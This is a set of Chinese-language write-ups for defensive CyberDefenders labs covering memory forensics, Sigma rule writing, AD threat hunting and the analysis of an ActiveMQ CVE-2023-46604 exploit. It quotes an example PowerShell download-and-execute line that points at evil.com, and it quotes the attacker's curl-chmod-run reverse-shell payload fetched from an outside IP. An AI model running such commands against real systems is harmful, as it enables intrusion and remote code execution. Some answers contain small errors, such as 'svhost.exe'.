然后我们查看“外国地址”这一列。为了确认我们的答案,我们可以在VirusTotal上搜索IP地址,并验证它是否被标记为恶意。

img

  • 恶意IP和端口80引起了一些关注。

img

答案:94.140.112.73

Q2:我们需要确定恶意软件是否试图与其他IP通信。恶意软件试图再次与哪个IP地址通信?

  • 我们再次分析netscan插件,并寻找更多外部ip地址。
  • 上述ip在端口80上通信,这有助于我们缩小答案的范围。

img

答案:45.147.230.104

Q3:识别导致这种可疑行为的进程有助于重构导致恶意软件执行的事件序列及其来源。发起恶意软件的进程的名字是什么?

为了找到内存中存在的任何类型的恶意软件,volatility3的“Malfind”插件非常有用。

./vol.py -f memory.dmp windows.Malfind

img

我们看到一个具有可执行和读写权限的恶意可执行文件。

答案:Excel.exe

Q4:恶意软件的文件名对于进一步的取证分析和提取恶意软件至关重要。你能提供它的文件名吗?

  • 从Q3的分析中,我们知道我们的答案可能与excel有关。
  • 我们可以使用volatile的filescan插件,但它肯定会产生很多结果。为了缩小范围,我们可以使用grep “ .xls ”扩展名。
./vol.py -f memory.dmp windows.filescan | grep -i ".xls"

img

答案:Payment.xls

Q5:散列就像文件的数字指纹。一旦哈希值已知,就可以用来扫描网络中的其他系统,以确定是否存在相同的恶意文件。恶意软件的SHA256哈希值是多少?

  • 为了找到文件的SHA256sum,我们首先需要使用名为“dumpfiles”的易失性插件转储它。
  • 我们还需要提供该文件的写虚拟地址。
  • 在Q4中,我们已经有了恶意软件的虚拟地址“0xcd8ef507ac60”。
./vol.py -f memory.dmp windows.dumpfiles --virtaddr 0xcd8ef507ac60
  • 它可能会显示转储文件出错,但我们仍然可以得到哈希值。

img

Q6:为了追踪恶意软件的来源和了解它的开发时间,你能提供恶意软件文件的创建时间吗?

由于我们现在有了哈希值,我们可以使用virustotal来找出恶意软件的创建时间。

img

Sigma 101 Lab(日志分析)

作为一名检测工程师,您在公司的网络安全态势中发挥着关键作用,确保快速识别威胁并作出响应,SOC团队向您转发了一组在审查期间标记的可疑日志。这些日志来自各种系统,包括端点设备和服务器,都聚合在SIEM中。这些日志指出了网络内部潜在的横向移动,这是攻击者在获得初始访问权限后经常使用的一种技术,允许他们探索、提升权限并窃取数据。

您的主要目标是确定这些可疑日志的合法性,了解活动的性质,并通过编写Sigma规则来增强检测能力。

要VIP

原文地址:CTF Write-up: Sigma 101 (Certified Cyber Defenders) | by itsGir | Medium

Q1:在第一个日志文件中,分析人员识别出在其中一个系统上运行的恶意进程。为了调整组织检测机制并在未来检测此类活动,您可以针对此过程制定Sigma规则吗?一旦你制定了这个规则,提交第一关flag

Sigma 规则格式

title(标题):规则的标题。当规则被触发时,将显示此标题。

id(唯一标识符):规则的唯一 ID。可以在 UUID 生成网站 创建一个。

status(规则状态):规则的状态,可选值包括:

  • stable(稳定)
  • test(测试)
  • experimental(实验性)
  • deprecated(已弃用)
  • unsupported(不支持)

description(描述):规则的描述(解释该规则的存在原因及其作用)。

references(参考资料):说明制定此规则的依据,例如威胁情报报告等。

author(作者):撰写此规则的人员姓名或身份信息。

date(创建日期):规则的创建日期。

modified(修改日期):规则的最后修改日期。

tags(标签):用于将不同的分析框架映射到 Sigma 规则。

logsource(日志来源):规则适用的日志来源(即规则检测的日志位置)。

detection(检测内容):规则试图检测的内容。

falsepositives(误报情况):列出该规则可能出现的误报情况。

level(规则等级):规则的严重性级别,可选值:

  • informational(信息级)
  • low(低)
  • medium(中)
  • high(高)
  • critical(关键)

字段“ title ”, “ detection ”和“ logsource ”是必需的——没有它们(或没有适当的格式化),规则将无法发挥作用。所有其他字段都是可选的。但是,要使您的规则尽可能完整,以便规则的质量尽可能好!

也就是说,让我们深入研究第一个日志文件。它总共包含3个独立的日志项:

img

根据Event ID 1,我可以判断这是“Sysmon”逻辑。如果它是默认的Windows事件日志,我期望的是4688(进程创建)。幸运的是,Sigma并不关心你是使用Sysmon还是Windows事件日志格式化,除非你特别提供事件id(在这种情况下,它会提供)。

我发现非常有用的是打开这个日志条目的“Details”选项卡:

img
原因在于,这些键值对组合能帮助我在 Sigma 规则中准确映射字段。
例如,若我关注值 8180,它对应的是ProcessId元数据字段,我可以基于此编写 Sigma 规则。
但您可能也认同,仅监控 ProcessId 8180 并非有效的检测方式(甚至可能完全无法检测到威胁)。因此,我们需要寻找更具实际意义的检测字段。
我认为以下三个字段至关重要:

  1. Image(进程路径):包含 wscript.exe,这是需要检测的进程。
  2. ParentImage(父进程路径):包含 explorer.exe(资源管理器进程)。
  3. CommandLine(命令行参数):包含 PowerShell 命令的执行痕迹。

简而言之,如果 explorer.exe 启动了 wscript.exe,且后者执行了 PowerShell 命令,我们应触发告警。

导航到工具目录,打开Sigma界面,让我们开始编写代码。

我最终写出了下面的规则:

title: 'Suspicious Powershell execution via WScript.exe'
id: 'e5ba9e35-6e5c-498c-a999-cd3a238cc18e'
status: 'experimental'
description: 'Detects the execution of Powershell commands via Wscript.exe, when invoked by Explorer.exe'
author: 'itsGir (medium.com/itsGir)'
date: 2024-11-17
modified: 2024-11-17
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage: 'C:\Windows\explorer.exe'
        Image: 'C:\Windows\System32\wscript.exe'
        CommandLine|contains: "powershell -exec bypass -c"
    condition: selection
falsepositives: 
    - "May detect legitimate Powershell processes"
level: high

关键过滤点

日志来源 (logsource)
logsource:
    category: process_creation
    product: windows

作用:

  • 该规则关注 进程创建 相关的日志(process_creation)。
  • 目标系统是 Windowsproduct: windows)。
  • 这意味着它主要适用于 Windows 事件日志(Event ID 4688)或 Sysmon 日志(Event ID 1)

核心检测逻辑 (detection)
detection:
    selection:
        ParentImage: 'C:\Windows\explorer.exe'
        Image: 'C:\Windows\System32\wscript.exe'
        CommandLine|contains: "powershell -exec bypass -c"
    condition: selection

重点过滤字段:

  1. ParentImage: 'C:\Windows\explorer.exe'

    • 父进程是 explorer.exe,说明用户直接从 桌面或文件资源管理器 触发了可疑的 WScript 进程。
    • 这可能意味着 用户误点击了某个恶意脚本
  2. Image: 'C:\Windows\System32\wscript.exe'

    • 目标进程是 wscript.exe,即 Windows 的 Windows Script Host
    • wscript.exe 主要用于执行 .vbs.js 脚本,黑客常用它来执行恶意 PowerShell 代码。
  3. CommandLine|contains: "powershell -exec bypass -c"

    • 检测 wscript.exe 执行的命令行中是否包含 powershell -exec bypass -c

    • powershell -exec bypass -c 是一种 绕过 PowerShell 执行策略的方式,可以直接执行代码,而不会被策略限制(如 AllSigned)。

    • 这通常是 攻击者在绕过 PowerShell 执行限制时使用的技术,例如:

      powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps1')"
      
    • 这种模式高度可疑,因为它通常与 恶意脚本下载、内存加载恶意代码 相关。

如果你觉得你可以改进它,请随时试验我的规则(如果你想,请告诉我,因为我一直支持学习!)

工具对我的规则很满意,并为我提供了问题1的标志:

img

Q2:在第二个日志文件中,SOC团队确定了一个进程空心技术正在被恶意可执行程序使用。你能为这个过程空心化技术创造一个Sigma规则吗?一旦你制定了这个规则,提交2级标志

我们对此采用类似的方法。让我们打开文件2:

img

进程空心化是指将恶意代码注入到挂起或空心化的进程中。如果您开始分析此事件,似乎在WmiPrvSE.exe中创建了一个嵌入式进程。

1. 进程行为异常

  • 进程名称与路径
    • Image: C:\Windows\System32\wbem\WmiPrvSE.exe
      • WmiPrvSE.exe 是 Windows 管理规范(WMI)的服务宿主进程,通常由系统服务(如 svchost.exe)启动,用于执行合法的 WMI 脚本。
      • 异常点:在日志中,此进程的启动参数包含 -Embedding,这可能与 COM 对象嵌入相关,但若与其他可疑行为结合,需警惕。
  • 命令行参数分析
    • CommandLine: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
      • -Embedding 参数通常用于 COM 组件的进程内激活,但 恶意软件可能滥用此参数以隐蔽执行代码
      • 正常场景中,WMI 服务进程的启动命令通常不包含 -Embedding,除非通过特定脚本或工具调用。

2. 用户上下文与权限

  • User: NT AUTHORITY\NETWORK SERVICE
    • NETWORK SERVICE 是低权限账户,通常用于运行网络服务。
    • 可疑点:如果 WmiPrvSE.exe 由非系统进程(如 explorer.exe 或用户进程)启动,可能表明进程被劫持或注入。
    • 需进一步检查 ParentProcessGuid(父进程 GUID)或 ParentImage(父进程路径),但当前日志未提供该字段。

3. 关联事件分析

日志中共有 4 个 Sysmon 事件,需结合其他 Event ID 进一步验证:

  1. Event ID 1(进程创建) ×2
    • 记录进程启动事件,当前分析的进程即为此类事件。
  2. Event ID 10(进程访问)
    • 可能显示其他进程对 WmiPrvSE.exe 的内存进行了读写操作(如恶意代码注入)。
  3. Event ID 12(注册表修改)
    • 若注册表项(如 Run 键)被修改,可能用于持久化或配置注入行为。

4. 进程空心化的典型特征

进程空心化(Process Hollowing)的常见痕迹包括:

  • 挂起状态进程创建:恶意进程先创建目标进程(如 WmiPrvSE.exe)的挂起实例。
  • 内存篡改:替换进程内存空间中的合法代码为恶意代码(需结合内存取证或 Event ID 10 的访问记录)。
  • 异常子进程或网络连接:空心化后的进程可能启动异常子进程或外连 C2 服务器(需检查网络日志)。

我想写一个Sigma规则来检测WmiPrvSE中的进程空洞,所以让我们这样做。

title: 'Process Hollowing within WmiPrVSE'
id: 'b3101dfb-d95d-43a9-b163-72a19e9874d4'
status: 'experimental'
description: 'Detects the emdedding of another process within WmiPrvSE, indicating Process Hollowing'
author: 'itsGir (medium.com/itsGir)'
date: 2024-11-17
modified: 2024-11-17
tags:
    - attack.execution
    - attack.t1055
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image: 'C:\Windows\System32\wbem\WmiPrvSE.exe'
        CommandLine|contains: "wmiprvse.exe -secured -Embedding"
    condition: selection
falsepositives: 
    - "None" #Yes, this might be optimistic
level: high

不管怎样,工具认为这已经足够了,并给了我第二个flag:

img

Q3:在第三个日志文件中,由于其防御逃避战术的指示而引起关注。为了在随后的实例中主动发现这种隐蔽的操作,你能针对这种特定的活动制定一个Sigma规则吗?一旦你制定了这个规则,就提交level 3标志

让我们看一下第三个日志文件:

img

注意Event ID:它不再是1,而是12。这表明Sigma中的“file_event”类别而不是“process_creation”。如果你不改变这一点,你可能会陷入很长一段不必要的时间。

无论如何,我认为删除plockdownpolicy注册表项的事件是值得检测的。让我们再次开始制作。

title: 'Suspicious Deletion of Powershell CLM Registry Key'
id: '8b4c7671-178d-4f6d-b36f-3d165c2967ef'
status: 'experimental'
description: 'Detects the removal of an important registry key in regards to Powershell defensive measures'
author: 'itsGir (medium.com/itsGir)'
date: 2024-11-17
modified: 2024-11-17
tags:
    - attack.defense_evasion
    - attack.t1112
logsource:
    category: file_event
    product: windows
detection:
    selection:
        EventType: 'DeleteValue'
        TargetObject|contains: "PSLockdownPolicy"
        Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    condition: selection
falsepositives: 
    - "None"
level: high

ShadowRoast Lab(威胁狩猎)

作为TechSecure Corp的网络安全分析师,你已经注意到公司活动目录环境中的异常活动。初步报告显示未经授权的访问和可能的权限提升尝试。

你的任务是分析提供的日志,以揭示攻击的程度,并识别攻击者所采取的恶意行为。你的调查对减轻威胁和保护网络至关重要。

要VIP

原文地址:ShadowRoast Lab | cyberdefenders. This Mahmoud shaker also known as… | by Mahmoud Shaker | Medium

Q1:攻击者初始访问时使用的恶意文件名是什么?

为了识别用于初始访问的恶意文件,我使用了 EvtxeCmd.exe ,这是一个用于解析Windows事件日志的强大工具。通过关注事件ID 1(进程创建),我的目标是检测在受影响的系统上启动的进程,特别是那些以提升的权限执行或表现出异常行为的进程

.\EvtxECmd.exe -d "C:\Users\Administrator\Desktop\Start here\Artifacts\Office-PC\
winevt\logs" --inc 1,11  --xml "C:\Users\Administrator\Desktop"

--inc 1,11

  • --inc 选项表示 仅解析特定的事件 ID
  • 1,11 代表 仅解析事件 ID 为 111 的日志
  • 在 Windows 事件日志中:
    • 事件 ID 1:通常与 系统启动进程创建 相关(Sysmon)。
    • 事件 ID 11:通常与 文件创建 相关(Sysmon)。

--xml 选项表示 输出 XML 格式的日志

主要观察:

  1. 进程在高完整性级别下启动,表示有管理权限。这表明攻击者可以对系统执行高影响的操作。
  2. 父进程标识为 explorer.exe ,这通常与从用户界面启动的合法应用程序相关。
  3. 可疑的可执行文件声称与Adobe有关,名为 AdobeUpdater.exe 。然而,分析显示它与ApacheBench命令行实用程序的行为( ab.exe )匹配,表明它可能是重命名或重新使用的二进制文件。
  4. 该文件是从 Downloads 目录中执行的,这是通过钓鱼电子邮件或浏览器下载获得文件的典型位置。这强烈暗示攻击者在传输过程中使用了社会工程策略。

img

Q2:攻击者为维护持久化而创建的注册表运行键名是什么?

持久性的注册表修改通常与事件ID 13(注册表值集)相关。但是由于日志量很大,我使用Splunk和 EvtxeCmd.exe搜索恶意文件 AdobeUpdater.exe 的引用来过滤数据

.\EvtxECmd.exe -d "C:\Users\Administrator\Desktop\Start here\Artifacts\Office-PC\
winevt\logs" --inc 13 --xml "C:\Users\Administrator\Desktop"

img

我也用splunk解决了这个问题

index="shadowroast" "winlog.computer_name"="Office-PC.CORPNET.local" "event.code"=13 "AdobeUpdater.exe"  
| stats count by winlog.event_data.TargetObject, winlog.event_data.Image

img

结果显示,攻击者创建了一个指向 AdobeUpdater.exe 的注册表运行键进行持久化。这个密钥确保恶意文件会在系统启动时被执行。

Q3:攻击者用于存储丢失工具的目录的完整路径是什么?

为了确定攻击者存储丢弃的工具的目录,我分析了事件ID 11(文件创建)。这个事件表示文件是在什么时候创建的,不管是通过进程、脚本还是恶意的可执行程序(如放置器)创建的

方法:

Splunk查询:

index="shadowroast" "winlog.computer_name"="Office-PC.CORPNET.local" "event.code"=11  
| stats count by winlog.event_data.Image, winlog.event_data.TargetFilename

img

该查询有助于识别恶意可执行文件 AdobeUpdater.exe 创建文件的路径。

使用 EvtxeCmd.exe ,我解析了事件ID 1(进程创建)和事件ID 11(文件创建)的日志:

EvtxeCmd.exe -d "C:\Users\Administrator\Desktop\Start here\Artifacts\Office-PC\winevt\logs" -inc 1,11 --xml "C:\Users\Administrator\Desktop"

img

攻击者将删除的工具存储在这个目录中:

C:\Users\Default\AppData\Local\Temp\

Q4:攻击者使用什么工具来提升权限和获取凭据?

基于Q3的发现,恶意可执行文件 AdobeUpdater.exe 在攻击者的工具目录中创建了一个名为 BackupUtility.exe 的恶意文件( C:\Users\Default\AppData\Local\Temp\ )。为了确定它的目的,我使用 EvtxeCmd.exe 搜索它的执行和相关操作。

img

Q5:攻击者成功获取凭证了吗?如果是,被入侵的域帐号的用户名是什么?

如果攻击者成功获取了特定用户的凭据,攻击者将尝试通过该凭据进行身份验证,因此它将被事件ID 4624(登录成功)反映出来,知道攻击者使用了帐户 CORPNET\sanderson ,因此我寻找SubjectUserName:sanderson

EvtxeCmd.exe -d "C:\Users\Administrator\Desktop\Start here\Artifacts\Office-PC\winevt\logs" -inc 4624--xml "C:\Users\Administrator\Desktop"

img

Q6:攻击者使用什么工具注册了一个伪造的域控制器来操作Active Directory数据?

攻击者进行了DCShadow攻击,让我们看看什么是这种攻击以及它是如何工作的

DCShadow攻击是一种通过攻击域控制器(DC)的复制过程来修改AD对象的复杂方法。在Windows环境中,它经常用于权限提升和持久化

  • 恶意DC复制:攻击者注册一个假的域控制器(DC),将恶意更改注入AD数据库。这通常通过创建一个假的复制请求来实现。
  • 修改AD对象:攻击者使用DCShadow工具修改AD对象的属性,如用户、组、域控制器等,这些属性可以使攻击者提升权限或在网络上持续存在。
  • 更改复制(Replication of Changes):攻击者控制的数据中心所做的更改通过正常的AD复制在网络上传播,由于攻击使用的是正常的AD机制,因此很难检测。
  • 绕过防御:由于DCShadow依赖于合法的AD进程,它绕过了监控AD异常变化的典型检测工具,使其具有隐蔽性和更难跟踪

因此,攻击者利用 Mimikatz 利用其DCShadow特性注册了一个伪造的域控制器(DC)。通过对事件ID 1进行过滤,将行为范围缩小到 tcooper ,识别恶意工具。

img

Q7:攻击者在远程机器上启用RDP横向移动的第一个命令是什么?

我关注了注册表修改(事件ID 13)和进程执行(事件ID 1),我将寻找两个东西:

  • RDP键:hklm\system\currentcontrolset\control\terminal server
  • reg.exe:是Windows中的一个命令行实用程序,用于与Windows注册表交互。它允许用户查询、添加、修改和删除注册表项和值

攻击者使用 reg.exe 在远程机器上通过“tcooper”帐户通过修改注册表键启用RDP进行横向移动:

index="shadowroast" "event.code"=1 "reg.exe" OR "hklm\system\currentcontrolset\control\terminal server"

img

img

Q8:攻击者压缩机密文件后创建的文件名是什么?

考虑到攻击者建立的RDP连接 DC01FileServerFileServer 可能包含敏感的组织数据,我主要关注这个系统的日志事件

index="shadowroast" "winlog.computer_name"="FileServer.CORPNET.local"

只找到一个包含归档文件(*.zip)的事件

img

OpenWire Lab(流量分析)

在您作为第2层SOC分析师的轮班期间,您从第1层分析师那里收到关于面向公众的服务器的升级。此服务器已被标记为与多个可疑ip进行出站连接。在响应中,您将启动标准事件响应协议,其中包括将服务器与网络隔离,以防止潜在的横向移动或数据导出,并从NSM实用程序中获取用于分析的数据包捕获。你的任务是分析pcap并评估恶意活动的迹象。

OpenWire 协议是什么?

  • 定义:OpenWire 是一种二进制协议,主要用于 Apache ActiveMQ(开源消息中间件)的客户端与服务器之间的通信。
  • 作用:支持高效的消息传递(如消息队列、发布-订阅模式),提供跨语言兼容性和高性能传输。
  • 特点
    • 基于 TCP 协议,默认端口 61616
    • 支持消息持久化、事务、消息确认机制。
    • 序列化方式灵活(如 Java 对象、JSON、XML)。

2. 协议核心结构

  • 命令帧(Command Frame):每个 OpenWire 报文由一个命令帧组成,包含:

    • 命令类型(Command Code):标识操作类型(如发送消息、订阅队列)。
    • 命令参数:携带具体数据(如消息内容、目标队列名称)。
  • 常见命令类型

    命令代码(Hex) 命令名称 用途
    0x01 WireFormatInfo 协商协议版本和参数
    0x0E Message 传输实际消息内容
    0x1F ExceptionResponse 通知客户端发生异常(此处被攻击利用)
    0x08 SessionInfo 管理会话状态

Q1:通过识别C2 IP,我们可以阻止往返于此IP的流量,帮助遏制入侵并防止进一步的数据泄漏或命令执行。你能提供和我们服务器通信的C2服务器的IP吗?

统计会话:

image-20250311224739891

可以推测我们的服务器IP地址为134.209.197.3,我按照传输流量大小进行排序分析:

image-20250311230222442

从抓包数据中可以看到,IP地址 146.190.21.92 正在通过 OpenWire 协议 与目标服务通信。此外,该 IP 发送了一个 OpenWire 异常响应命令(代码 0x1F,此命令会触发漏洞利用,实例化 org.springframework.context.support.ClassPathXmlApplicationContext 类,从而加载由 http://146.190.21.92:8000/invoice.xml 定义的 XML 文件中的 Bean 对象。

可见恶意IP

答案:146.190.21.92

Q2:初始入口点对于追踪攻击向量至关重要。敌手利用的服务端口号是什么?

由Q1分析出的异常流量包中的Dest port为:61616,即黑客利用端口号

答案:61616

Q3:接着上一个问题,被发现存在漏洞的服务的名称是什么?

从日志中可以看出,在通信信息响应(wire info response)中,提供者名称(provider name)为 ActiveMQActiveMQ 是一种消息中间件(Message Oriented Middleware, MOM),属于 Apache 软件套件的一部分。

image-20250311230912103

所以是ActiveMQ存在漏洞

答案:ActiveMQ

Q4:攻击者的基础设施通常包含多个组件。第二个C2服务器的IP地址是什么?

由Q1分析可知,剩下的流量传输只有两个IP:84.239.46.16128.199.52.72

按照流量传输大小顺序分析优先查看128.199.52.72

image-20250311233906033

通过分析进出该IP的流量,我们注意到脆弱服务器通过IP 128.199.52.72 进行通信,获取了 docker 资源,该资源似乎是shellcode:

image-20250311233957220

84.239.46.16

image-20250311234043955

答案:128.199.52.72

Q5:攻击者通常会在磁盘上留下痕迹。在服务器上放置的反向shell可执行文件的名称是什么?

从Q4的分析推测反向webshell文件为docker

答案:docker

Q6:XML文件调用哪个Java类来运行漏洞攻击程序?

分析HTTP流,找到XML文件内容:

image-20250311235134328

从响应中可以看到,XML配置文件指定了 java.lang.ProcessBuilder 类,使用参数 curl -s -o /tmp/docker http://128.199.52.72/docker; chmod +x /tmp/docker; ./tmp/docker来执行流程 bash

答案:java.lang.ProcessBuilder

Q7:为了更好地理解被利用的特定安全漏洞,您可以识别与此漏洞相关的CVE标识符吗?

组织前面分析的关键词:

CVE docker java.lang.ProcessBuilder openwire

image-20250311235453670

答案:CVE-2023-46604

Q8:作为解决该漏洞的一部分,供应商实施了一个验证步骤来防止漏洞攻击。指定添加验证步骤的Java类和方法。

看漏洞分析报告:

image-20250312000151447

image-20250312000517442

但不知道为什么答案是:BaseDataStreamMarshaller.createThrowable

GoogleCloudHunt Lab

说明:

  • 确保没有拦截器,如Adblock扩展,可能会阻止实验室打开一个新的标签或影响实验室的功能。
  • 所有与实验室相关的文件和工具都在桌面上的Start here目录中

场景:

最近,一场广泛的证书泄露事件影响了各个部门的多个组织。这一事件引起了对在谷歌云环境中运行的贵组织的潜在未授权访问的担忧。作为一名网络安全分析师,你的任务是进行彻底的调查,以确定妥协的程度。

要VIP

目前还没找到相关WP

S3CredentialsHunt Lab(云取证)(威胁狩猎)

美国的一个著名组织最近收到了来自AWS的官方通知,提醒他们可能存在安全漏洞:他们的一个AWS访问密钥似乎已经被泄露。巧合的是,随后的内部安全警报表明CloudTrail日志记录意外地被禁用了。作为一名网络安全专家,你的任务是彻底调查这一系列事件,并确定这些事件的时间线。

要VIP

原文地址:[CyberDefenders Write-up] S3CredentialsHunt | by Krzysztof | Medium

做这种过滤日志还不能动手的实验实在太难受了,先放着待补充

T1595 Lab(流量分析)

说明:

解压实验文件(pass: cyberdefenders.org)

敌手可能执行主动侦察扫描以收集可用于目标定位的信息。主动扫描指的是敌手通过网络流量探测受害者基础设施,而不是不涉及直接交互的其他形式的侦察。

敌手可以根据他们想要收集的信息执行不同形式的主动扫描。扫描的方式多种多样,包括使用ICMP等网络协议的原生特性。来自这些扫描的信息可能揭示其他形式的侦察(如:搜索开放的网站/域名或搜索开放的技术数据库)、建立操作资源(如:开发能力或获得能力)和/或初始访问(如:外部远程服务或利用面向公众的应用程序)的机会。

要VIP

原文地址:[CyberDefenders Write-up] MITRE-T1595 | by Krzysztof | Medium

Q1:其中的 ZeroTier 网络 ID 是什么?

ZeroTier 是一种虚拟局域网(VPN/SD-WAN) 解决方案,它可以让分布在全球的设备像在同一个本地网络下一样进行互联,常用于远程访问、私有网络搭建、游戏联机等场景。

相关视频这么良心的开源、内网穿透工具ZeroTier,为啥到你手就不好用了?

可以知道ZeroTier会给

使用Wireshark。从主菜单栏我们必须选择统计->捕获文件属性选项…

img

下面就是:

img

方法2:在pcap文件上使用字符串工具:

img

答案:544aaeed1673158e

Q2:ARP数据包的字节数是多少?

统计->协议分级:

img

答案:9814

Q3:哪个地址发送的数据包最多?

统计->端点:

img

img

答案:243.208.197.200

Q4:哪个城市的IP连接到菲律宾?

让我们继续看端点的统计数据。为了找到答案,我们需要按国家列升序排序:

img

答案:49.151.58.90

Q5:pcapng文件中有多少DHCP Discover报文?

DHCP(动态主机配置协议)是一种用于自动分配和管理IP地址的网络协议,属于应用层协议(基于UDP)。其主要功能是为局域网内的设备动态分配IP地址及其他关键网络参数,简化网络配置流程。

DHCP通过四步交互完成IP分配,称为 DORA 过程:

  1. DHCP Discover(发现)
    • 客户端广播发送DHCP Discover报文(源IP 0.0.0.0,目标IP 255.255.255.255),寻找可用的DHCP服务器。
  2. DHCP Offer(提供)
    • 服务器响应DHCP Offer报文,提供一个可用IP地址及配置参数。
  3. DHCP Request(请求)
    • 客户端选择其中一个Offer,广播DHCP Request报文,确认使用该IP。
  4. DHCP ACK(确认)
    • 服务器发送DHCP ACK报文,正式分配IP地址并告知租约时间。

要找出pcapng文件中有多少DHCP Discover消息,我们可以使用DHCP选项只过滤与DHCP相关的数据包。然后滚动包属性,我们必须展开动态主机配置协议(Discover)属性,然后展开Option:(53) DHCP消息类型(Discover)属性,最后应用DHCP: Discover(1)属性作为过滤器:

img

现在我们已经应用了过滤器,并得到了答案,即显示的数据包的数量:

img

答案:27

Q6:数据包37的“目标MAC地址”是什么

简单滚动并寻找数据包37,或者使用过滤器(frame==37)

img

可以看到在数据链路层中的Dst MAC地址为0e9d8955b202

Q7:pcapng文件中有多少arp应答报文?

要找出pcapng文件中有多少arp应答包,我们可以使用arp选项来过滤与arp相关的包。然后滚动数据包属性,我们必须扩展地址解析协议(reply)属性,最后应用Opcode: reply(2)属性作为过滤器:

img

过滤语句:

arp.opcode == 2

img

答案:164

Q8:数据包55发送的时间是多少?

我们可以滚动所有数据包,最终在第55个数据包处停止,也可以应用一个简单的过滤器:

img

答案:2022–06–25 04:29:49

Q9:目标网络IP地址的范围是什么?

我们可以返回端点统计信息和IPv4选项卡,然后按地址对结果进行排序。我们可以清楚地看到192.168.196。x网络的IP地址范围是10到255,因此我们可以假设目标网络的子网掩码是/24:

img

答案:192.168.196.0/24

Q10:攻击者的目标端口号是什么?

统计->会话。

然后转到TCP选项卡,然后按地址列排序。我们可以看到一个IP地址有多个连接到网络的445和1433端口:

img

答案:445,1433

Q11:攻击者所在的国家是哪个?

我们将再次使用端点统计信息。为了找到答案,我们必须查找在Q10中找到的IP地址:

img

答案:Slovakia

Q12:与此技术相关的威胁行为者的名称是什么?

搜索IP

image-20250312195402841

可以知道攻击组织名为APT28

答案:APT28

BlackEnergy Lab(内存取证)

一家跨国公司遭到网络攻击,导致敏感数据被盗。这次攻击使用的是一种之前从未见过的BlackEnergy v2恶意软件的变种。该公司的安全团队已经获得了受感染机器的内存转储文件,他们希望您(soc分析师)分析转储文件,以了解攻击的范围和影响。

Q1:哪种 Volatility 系统配置Profile最适合这台机器?

使用lovelymem可以直接输出匹配的Profile:

image-20250312204734550

若使用命令,则:

./vol.py -f CYBERDEF-567078-20230213-171333.raw imageinfo

img

再使用 kdbgscan 插件来验证。这个插件通过扫描 Kernel Debugger Data Blocks (KDBG) (可以揭示操作系统细节的关键内核结构)来验证所选概要文件的兼容性:

./vol.py -f CYBERDEF-567078-20230213-171333.raw --profile=WinXPSP2x86 kdbgscan

答案:WinXPSP2x86

Q2:获取内存转储的时刻有多少个进程在运行?

查看进程列表:

./vol.py -f CYBERDEF-567078-20230213-171333.raw windows.pslist

image-20250312205728664

可以发现总共有25个进程的运行记录,但有6个进程已退出停止执行

答案:19

Q3:“cmd.exe”的进程号是什么?

由Q2的分析可知cmd.exe的进程号

答案:1960

Q4:最可疑的进程叫什么?

Rootkits 是一类恶意软件,旨在提供对系统的未授权访问,同时主动隐藏其存在。它们通常在操作系统的底层运行,允许攻击者获得关键系统进程的控制权,并对用户和安全工具隐藏恶意活动。它们的主要目标是在不被发现的同时实现对被入侵系统的持续访问或控制。

在本例中, rootkit.exe 过程的PID为 964 , PPID为 1484该进程显示了一个立即退出时间戳,这与一些恶意软件试图快速执行和终止以避免被检测的方式一致。名称 rootkit.exe 本身就会引起危险,因为合法的系统进程不使用这样的命名约定。再加上其可疑的执行行为,该进程可能是进一步调查的关键目标,以了解其起源、目的和对系统的影响。

分析像 rootkit.exe 这样的进程通常需要检查它的内存占用、打开的句柄、关联的线程和它可能留下的任何磁盘工件。通过识别和理解这个过程,我们可以确定它是否是一个更大的攻击的一部分,例如有针对性的入侵或恶意软件活动,并采取适当的行动来减轻其影响。

答案:rootkit.exe

Q5:哪个进程最有可能出现代码注入?

使用以下命令进行内存注入检测:

./vol.py -f CYBERDEF-567078-20230213-171333.raw windows.malfind

image-20250312211135048

可以发现svchost.exe内存中存在 4D 5A 十六进制序列。这个序列对应于ASCII字符 MZ ,这是 Windows Portable Executable (PE) 文件的魔数(文件头)。如果该序列出现在与合法可执行文件没有关联的内存区域中,则强烈暗示存在恶意注入。

MZ 头是PE文件的起始签名,表示可执行文件或DLL文件的开始。当在意外的内存区域中发现这样的首部时,特别是在诸如 svchost.exe 这样的进程中,这表明攻击者可能已经向该进程注入了一个新的PE文件。这种方法允许攻击者以合法进程的名义运行恶意代码,从而避开传统杀毒软件或行为监控工具的检测。在此背景下发现 MZ 有力地表明,一个新的PE文件被注入了 svchost.exe 的内存中。这种注入方法使攻击者能够在可信的系统进程中无缝地加载和执行恶意代码。

答案:svhost.exe

Q6:在最近的进程中引用了一个奇怪的文件。提供该文件的完整路径。

为了识别与特定进程相关联的奇数文件,使用volatility的 handles 插件。这个插件枚举给定进程或所有进程的所有打开的句柄,显示对系统资源的引用,如文件、注册表项、事件和线程。这些句柄为进程在运行期间与之交互的资源提供了有价值的信息,可以揭示异常或可疑活动。

句柄(Handle) 是计算机系统中用于间接引用资源的标识符。它类似于现实生活中的“票据”或“钥匙”,通过一个抽象的值(通常为整数或指针)来访问操作系统或应用程序管理的资源(如文件、窗口、内存、设备等)。句柄本身不包含资源数据,而是指向资源的引用

特性 句柄(Handle) 指针(Pointer)
本质 资源的逻辑标识符(不直接暴露地址) 直接指向内存地址的变量
安全性 高(由系统管理,无法直接修改资源内容) 低(允许直接操作内存,易引发崩溃)
灵活性 资源位置变化时句柄无需更新 内存地址变化时指针需重新赋值
跨进程支持 支持(通过系统机制传递) 通常仅限同一进程内有效
./vol.py -f CYBERDEF-567078-20230213-171333.raw windows.handles

image-20250312212920466

在执行 handles 插件并检查其输出后,分析svchost.exe打开的句柄,识别出可疑的文件句柄:

image-20250312213505870

可以发现\\Device\\HarddiskVolume1\\WINDOWS\\system32\\drivers\\str.sys

该文件位于 system32\drivers 目录中,这是合法系统驱动程序的常见位置。然而, str.sys 这个文件名并不常见,因为它不符合系统驱动程序文件的标准命名约定。恶意行为者经常在该目录下放置文件,以实现内核级的访问或持久化。像这样的驱动文件通常与高级威胁(如rootkits)相关联,后者使用此类文件隐藏其活动、拦截系统调用或控制进程和网络流量。

偷鸡技巧:正则表达式搜索含有svchost.exe.sys的行

^(?=.*\bsvchost\.exe\b)(?=.*\.sys\b).*

